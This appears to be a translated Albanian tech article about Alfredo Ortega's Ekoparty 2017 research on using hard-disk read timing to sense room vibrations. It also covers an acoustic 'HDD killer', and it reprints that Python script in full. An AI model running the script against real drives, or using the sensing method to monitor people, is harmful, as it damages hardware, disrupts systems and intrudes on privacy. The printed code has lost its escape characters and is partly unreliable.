Pse nuk duhet t'i bërtisni HDD-së tuaj

Pse nuk duhet t'i bërtisni HDD-së tuaj

Në konferencën e sigurisë kompjuterike Ekoparty 2017 në Buenos Aires, hakeri argjentinas Alfredo Ortega tregoi një zhvillim shumë interesant - një sistem për përgjimin e fshehtë të ambienteve pa përdorur mikrofon. Tingull regjistruar direkt në hard disk!

HDD kryesisht merr tinguj me intensitet të lartë me frekuencë të ulët, hapa dhe dridhje të tjera. Fjalimi i njeriut ende nuk mund të njihet, megjithëse shkencëtarët janë duke kryer kërkime në këtë drejtim (njohja e të folurit nga dridhjet me frekuencë të ulët, të cilat regjistrohen, për shembull, nga një xhiroskop ose HDD).

Tingulli është dridhja e ajrit ose e një mediumi tjetër. Një person i percepton ato përmes daulles së veshit, e cila transmeton dridhje në veshin e brendshëm. Mikrofoni është projektuar përafërsisht si një vesh - edhe këtu, dridhjet regjistrohen nga një membranë e hollë, e cila ngacmon një impuls elektrik. Disku i ngurtë, natyrisht, është gjithashtu subjekt i dridhjeve mikroskopike për shkak të luhatjeve në ajrin përreth. Kjo dihet edhe nga karakteristikat teknike të HDD: prodhuesit zakonisht tregojnë nivelin maksimal të lejueshëm të dridhjeve, dhe vetë hard disku shpesh përpiqet ta vendosë atë në një enë rezistente ndaj dridhjeve të bërë prej gome ose materiali tjetër izolues. Nga kjo është e lehtë të konkludohet se tingujt mund të regjistrohen duke përdorur HDD. Gjithçka që mbetet është të kuptojmë se si.

Alfredo Ortega propozoi një version unik të një sulmi në kanalin anësor, domethënë një sulm në kohë. Ky sulm bazohet në supozimin se operacione të ndryshme kryhen në pajisje në kohë të ndryshme, në varësi të të dhënave hyrëse të dhëna. Në këtë rast, "të dhënat hyrëse" janë dridhjet e kokës së leximit dhe pjatës HDD, të cilat lidhen me dridhjet e mjedisit, domethënë me zërin. Kështu, duke matur kohën e llogaritjes dhe duke kryer një analizë statistikore të të dhënave, mund të maten dridhjet e kokës/pjatës dhe rrjedhimisht dridhjet e mediumit. Sa më e gjatë të jetë vonesa në leximin e të dhënave, aq më të forta janë dridhjet e HDD-së dhe, për rrjedhojë, aq më i lartë është zëri.

Si të matni dridhjet e diskut? Shumë e thjeshtë: thjesht ekzekutoni thirrjen e sistemit read () — dhe regjistroni kohën që duhet për të përfunduar. Sistemet moderne operative ju lejojnë të lexoni kohën e thirrjeve të sistemit me saktësi nanosekonda.

Shpejtësia e leximit të informacionit nga një sektor varet nga pozicioni i kokës dhe pjatës, i cili lidhet me dridhjet e kasës HDD. Kjo eshte e gjitha.

Analiza statistikore kryhet duke përdorur një mjet të thjeshtë Kscope. Siç thonë ata, gjithçka gjeniale është e thjeshtë.

Pse nuk duhet t'i bërtisni HDD-së tuaj
Shërbimi Kscope (stat() syscall)

Kscope është një mjet i vogël për vizualizimin e dallimeve të vogla në kohën e ekzekutimit të thirrjeve të sistemit. Burimipublikuar në GitHub.

Në një depo të veçantë HDD-kohë ekziston një version i mjetit të konfiguruar për një sulm kohor në hard disk, domethënë i konfiguruar për të analizuar thirrjen e sistemit read ().

Demonstrimi i regjistrimit të zërit duke përdorur HDD, funksionimi i mjetit Kscope


Sigurisht, fjalimi nuk mund të kuptohet në këtë mënyrë, por HDD është mjaft i përshtatshëm si një sensor dridhjeje. Për shembull, mund të regjistroheni nëse një person i veshur me këpucë të forta ose zbathur hyri në një dhomë me një kompjuter (ndoshta, nëse sulmuesi ka veshur atlete të buta ose ka një qilim të trashë në dysheme, HDD nuk do të jetë në gjendje të regjistrojë dridhje - kjo ia vlen të kontrollohet). Kompjuteri është në gjendje të regjistrojë xhami të thyer ose incidente të tjera me intensitet të fortë zëri. Kjo do të thotë, hard disku mund të shërbejë si një lloj sistemi i paautorizuar i zbulimit të ndërhyrjeve.

Vrasës HDD

Nga rruga, një teknikë e ngjashme mund të përdoret për të çaktivizuar disqet e ngurtë. Vetëm këtu nuk heqim lëkundjet nga HDD, por përkundrazi, gjenerojmë lëkundje që futen në HDD. Nëse luani tingull nga një altoparlant me një frekuencë që rezonon me frekuencën e HDD-së, sistemi shpejt e fiket pajisjen me një gabim I/O (kerneli Linux e fiket plotësisht HDD-në pas 120 sekondash). Vetë hard disku mund të pësojë dëmtime të pakthyeshme.

Pse nuk duhet t'i bërtisni HDD-së tuaj
Kerneli Linux e çaktivizoi hard diskun pas 120 sekondash të dhënies së zërit me një frekuencë rezonante përmes altoparlantit të altoparlantit Edifier r19u USB. Altoparlanti ndizet me rreth një të katërtën e fuqisë (më pak se 100 mW) dhe ndodhet 20 cm nga HDD, i drejtuar nga tavolina për të rritur dridhjet. Kornizë nga video me një demonstrim të vrasësit të HDD

Është kureshtare që "sulme" të tilla në HDD ndonjëherë ndodhin krejtësisht rastësisht në jetën e përditshme. Për shembull, në shtator 2016, qendra e të dhënave ING Bank u detyrua të pezullonte operacionet për 10 orë pas një stërvitje zjarri. Dhjetra disqe të ngurtë kanë dështuar për shkak të zhurmës së fortë të gazit inert që lëshohet nga cilindrat nën presion të lartë. Tingulli ishte shumë i lartë (më shumë se 130 dB), por nuk mund të bërtisni as në disqet e ngurtë - kjo rrit vonesën në hyrjen në HDD.

Demonstrimi i bërtitjes njerëzore në disqet e ngurtë në një qendër të dhënash. Matja e vonesës


Për të gjeneruar tingullin rezonues, Alfredo Ortega shkroi një skenar Python të quajtur HDD-vrasës (video demonstrim).

Script vrasës HDD Është mjaft i vogël, kështu që mund ta publikoni të plotë këtu.

"""PyAudio hdd-killer: Generate sound and interfere with HDD """
"""Alfredo Ortega @ortegaalfredo"""
"""Usage: hdd-killer /dev/sdX"""
"""Where /dev/sdX is a spinning hard-disk drive"""
"""Turn the volume to the max for better results"""
"""Requires: pyaudio. Install with 'sudo pip install pyaudio' or 'sudo apt-get install python-pyaudio'"""

import pyaudio
import time
import sys
import math
import random

RATE=48000
FREQ=50

# validation. If a disk hasn't been specified, exit.
if len(sys.argv) < 2:
    print "hdd-killer: Attempt to interfere with a hard disk, using sound.nn" +
	  "The disk will be opened as read-only.n" + 
          "Warning: It might cause damage to HDD.n" +
          "Usage: %s /dev/sdX" % sys.argv[0]
    sys.exit(-1)

# instantiate PyAudio (1)
p = pyaudio.PyAudio()
x1=0
NEWFREQ=FREQ

# define audio synt callback (2)
def callback(in_data, frame_count, time_info, status):
    global x1,FREQ,NEWFREQ
    data=''
    sample=0
    for x in xrange(frame_count):
        oldsample=sample
        sample=chr(int(math.sin(x1*((2*math.pi)/(RATE/FREQ)))*127)+128)
        data = data+sample
        # continous frequency change
        if (NEWFREQ!=FREQ) and (sample==chr(128)) and (oldsample<sample) :
                FREQ=NEWFREQ
                x1=0
        x1+=1
    return (data, pyaudio.paContinue)

# open stream using callback (3)
stream = p.open(format=pyaudio.paUInt8,
                channels=1,
                rate=RATE,
                output=True,
                stream_callback=callback)

# start the stream (4)
stream.start_stream()

# wait for stream to finish (5)
while stream.is_active():
    timeprom=0
    c=file(sys.argv[1])
    for i in xrange(20):
        a=time.clock()
        c.seek(random.randint(0,1000000000),1) #attempt to bypass file buffer
        c.read(51200)
        b=time.clock()
        timeprom+=b-a
    c.close()
    timeprom/=20
    print("Frequency: %.2f Hz File Read prom: %f us" % (FREQ,timeprom*1000000))
    NEWFREQ+=0.5

# stop stream (6)
stream.stop_stream()
stream.close()

# close PyAudio (7)
p.terminate()

Burimi: www.habr.com

Shto një koment